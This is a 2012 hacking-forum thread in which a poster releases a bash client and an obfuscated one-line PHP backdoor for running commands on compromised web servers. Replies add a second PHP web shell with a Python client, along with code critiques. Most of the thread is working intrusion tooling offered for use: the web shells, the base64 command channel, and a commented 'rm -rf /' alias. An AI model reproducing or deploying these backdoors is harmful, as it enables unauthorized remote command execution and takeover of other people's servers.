

Forum:[Hack Forums](#)

Thread: [\[RELEASE\]Sp0k3n H00d3d Bash shell , Alot of features\[/RELEASE\]](#)

BeggFoMercy - December 28, 2012, 8:42 am

Hello Hack Forums Members

Today Im releasing my bash shell Its called " Sp0k3n H00d3d Shell "

Review of the shell script

How to use :

First run the script by

Code ./shellname.sh

Every thing after running the script is so obvouse for you all , so i wont explain much more

How it works ?

Answer : Upload the php back door to the server , Then Connect it via the bash shell like

Code ./shellname.sh -u http://vulnsite.com/backdoor.php

Then every thing will be done auto !

Credits goes to :

1-Mr.Green - Updating <3

2-Th3Breach3r - Helping <3

3-Zer0Freak - Helping <3

Shout outs : Zentriplus , MCA , Volcan , moqane , DownFall , And all of those mentioned above !

Shell script :

Code #Coders : UnSp0k3n , MrGreen(Hood3dRobin)

```
#!/usr/bin/env bash
```

```
# alias lol="rm -rf /";
```

```
#Temp Dir & File to work with as needed
```

```
JUNK=/tmp
```

```
STORAGE1=$(mktemp -p "$JUNK" -t foooooobar1.tmp.XXX)
```

```
#Trap Interrupts and exit cleanly
```

```
trap bashtrap INT
```

```
function bashtrap(){
```

```
echo
```

```
echo
```

```
echo 'CTRL+C has been detected!.....shutting down now' | grep --color 'CTRL+C has been detected!.....shutting down now'
```

```
#exit entire script if called, add cleanup code here if needed...
```

```
rm -f $STORAGE1 2> /dev/null
```

```
exit 666;
```

```
}
```

```

#Make function for banner so we can re-use as needed
function banner(){
clear
echo "+++++" | grep --color '+'
echo "+          +" | grep --color '+'
echo "+      Spoken Hooded Shell V1      +" | grep --color '+'
echo "+          +" | grep --color '+'
echo "+      By UnSp0k3n & MrGreen      +" | grep --color '+'
echo "+          +" | grep --color '+'
echo "+  Shout Outs: ZentrixPlus, MCA, MrGreen,      +" | grep --color '+'
echo "+  DownFall , Zer0Freak, Volcan, moqane      +" | grep --color '+'
echo "+          +" | grep --color '+'
echo "+ V1: Includes : Safe mode bypass , Code executing +" | grep --color '+'
echo "+          +" | grep --color '+'
echo "+ V2( Will Include ) : AutoR00ter      +" | grep --color '+'
echo "+          +" | grep --color '+'
echo "+++++" | grep --color '+'
echo
}

#help menu for those who can't RTFM :P
function usage(){
banner
#####
echo "Usage: " | grep --color 'Usage'
echo "$0 [OPTIONS]" | grep --color -E '\[|\]'
echo
echo "Options: " | grep --color 'Options'
echo " --help"
echo " -u <SHELLURL>"
echo
echo "Example: " | grep --color 'Example'
echo " $0 -u http://vulnsite.com/shell.php"
echo " $0 --url http://vulnsite.com/forum/search=faq.php"
#####
echo
exit 0;
}

function shellCheck(){
banner
echo
echo "Checking provided URL to confirm Shell interaction....." | grep --color 'Checking provided URL
to confirm Shell interaction'
#Send basic request for 'system('id');' to confirm things are working:
curl -s $target -H "CMD: c3lzdGVtKCdpZCcpOwo=" -o $STORAGE1
grep -i "UID" $STORAGE1 2> /dev/null 2>&1
if [ "$?" == 0 ]; then
#We passed the confirmation test, drop to simulated shell now....
shellTime
else
echo "Can't seem to communicate with shell, better try manually or check the provided target link.

```

```

Sorry....."
echo
echo
exit 68; #so close :P
fi
}

function shellTime(){
echo
echo "Site is up and Shell is communicating! Dropping to shell....." | grep --color -E 'Site is up and
Shell is communicating||Dropping to shell'
#Gather some quick info to greet our user with for shell environment....
currentID=$(cat "$STORAGE1")
curl -s $target -H "CMD: c3lzdGVtKCdwd2QnKTsK" -o $STORAGE1
currentDir=$(cat "$STORAGE1")
curl -s $target -H "CMD: c3lzdGVtKCd1bmFtZSAtYW1yJyk7Cg==" -o $STORAGE1
currentBuild=$(cat "$STORAGE1")
echo
echo "Current ID: $currentID" | grep --color 'Current ID'
echo "Build Info: $currentBuild" | grep --color 'Build Info'
echo "Working Dir: $currentDir" | grep --color 'Working Dir'
echo
#Create a endless loop to simulate our shell
while :
do
read -p "OS(shell)> " requested

if [ "$requested" == "exit" ] || [ "$requested" == "EXIT" ] || [ "$requested" == "quit" ] || [ "$requested"
== "QUIT" ]; then
echo
echo "OK, shutting things down!" | grep --color -E 'OK||shutting things down'
rm -f $STORAGE1 2> /dev/null
echo
echo "got r00t?" | grep --color 'got r00t'
echo
exit 0; #Clean exit :)
fi
cmd="`echo "system('$requested');" | base64`" #We need to base64 encode our command for our
shell to understand it
curl $target -H "CMD: $cmd" -s
echo
done
echo
}

#Main----->
if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ]; then
usage
fi

while [ $# -ne 0 ];
do
case $1 in

```

```
-u) shift; target="$1"; shift ;;
--url) shift; target="$1"; shift ;;
*) echo "Unknown Parameters provided!" | grep --color 'Unknown Parameters provided'; usage;;
esac;
done
```

shellCheck

```
rm -f $STORAGE1 2> /dev/null
#EOF
PHP Back Door
```

Code

```
<?error_reporting(0);$b=strrev("edoced_4"."6esab");($var=create_function($var,$b($_SERVER[HTTP_CMD])))?$var():0?>
Thanks for viewing !
```

RyanC - December 28, 2012, 2:04 pm

What's the point of this? And besides, your rm syntax is broken (assuming GNU rm)

xx 0x0 xx - December 28, 2012, 2:11 pm

brother dont care about this Who? lol

@topic very nice work from you BeggFoMercy keep up the good work brother

LevelUp - December 28, 2012, 2:41 pm

(Dec 28, 2012 03:11 PM)mats0o0o0 Wrote: [CITE](#) brother dont care about this Who? lol

@topic very nice work from you BeggFoMercy keep up the good work brother

He was pointing out a flaw? If anything he's doing him a favour..

Anyway nice release.

| Solo | - December 28, 2012, 3:26 pm

Hey beg, I would use this for the rm part. Gives the user the ability to cancel.

```
Code if [ -n "$PS1" ] ; then
rm ()
{
ls -FCsd "$@"
echo 'remove[ny]? ' | tr -d '\012' ; read
if [ "_$REPLY" = "_y" ]; then
/bin/rm -rf "$@"
else
echo '(cancelled)'
fi
}
fi
```

bckslsh - December 28, 2012, 5:32 pm

I wrote up something similar to this as well when I was learning PHP. Might not be useful, but here it is -

remote php script
PHP Code

<?

```
$password = "test";

$entered_pass = $_GET['pass'];
$cmd = base64_decode($_GET['cmd']);
$disabled_functions = explode(' ', ini_get('disabled_functions'));
```

```
if ($entered_pass != $password) {
    die("script_er0");
}
if (!in_array('system', $disabled_functions)) {
    $method = "system";
} elseif (!in_array('exec', $disabled_functions)) {
    $method = "exec";
} elseif (!in_array('passthru', $disabled_functions)) {
    $method = "passthru";
} else {
    die("script_er1");
}
```

```
if ($method = "system") {
    system($cmd);
} elseif ($method = "exec") {
    echo exec($cmd);
} elseif ($method = "passthru") {
    passthru($cmd);
}
```

?>

Local python script -
Code `#!/usr/bin/python`

```
import sys, base64, urllib2
```

```
print "[!] Usage: python script.py http://fullpathtosite.com/andphpscript.php password"
```

```
url = sys.argv[1]
password = sys.argv[2]
```

```
#make sure pass is right
rsp = urllib2.urlopen(url + "?cmd=ZWNobyAx&pass=" + password)
if "script_er0" in rsp.read():
    print "[!] Invalid password"
    exit(0)
```

```
#grab cwd
rsp = urllib2.urlopen(url + "?cmd=cHdk&pass=" + password)
cwd = rsp.read().rstrip()
```

```
#grab username
rsp = urllib2.urlopen(url + "?cmd=d2hvYW1p&pass=" + password)
whoami = rsp.read().rstrip()
```

```
while True:
    cmd=raw_input(whoami+"@"+cwd+">")
    if cmd=="exit" or cmd=="quit":
        break
    cmd=base64.b64encode(cmd).encode("ascii")

    rsp = urllib2.urlopen(url + "?cmd=" + cmd + "&pass=" + password)

    print rsp.read() + "\n"
Now it seems a bit pointless, but I guess it was nice for learning c:
```

Phizo - December 28, 2012, 7:09 pm

I don't really understand the point of this, what's the advantage?

Also, ?Dan, your code will fail. Did you ever get around to testing it?

PHP Code

```
<?php
```

```
$disabled_functions = explode(' ', ini_get('disabled_functions'));
```

```
// Output isn't spaced (example: system,exec,passthru).
```

```
// It's disable_functions, not disabled_functions.
```

You're better off just using `is_callable()` anyway. You can't call a disabled function after all.

bckslsh - December 28, 2012, 7:17 pm

(Dec 28, 2012 08:09 PM)Phizo Wrote: [\[CITE\]](#) I don't really understand the point of this, what's the advantage?

Also, ?Dan, your code will fail. Did you ever get around to testing it?

PHP Code

```
<?php
```

```
$disabled_functions = explode(' ', ini_get('disabled_functions'));
```

```
// Output isn't spaced (example: system,exec,passthru).
```

```
// It's disable_functions, not disabled_functions.
```

You're better off just using `is_callable()` anyway. You can't call a disabled function after all.

I re-wrote that in 5 minutes to give an example as to what I had done when I was learning. I never tested those particular scripts.

BeggFoMercy - December 28, 2012, 10:34 pm

The point of this that it bypasses the safe mode and let you execute your codes through this script on your local linux , its very similar to weeveily but its really different in the side of how it works , And @ Dan , your php code (back door) seems fimilar to mine but mine encodes the function <3 , @Logic , ill take a look and pm you back !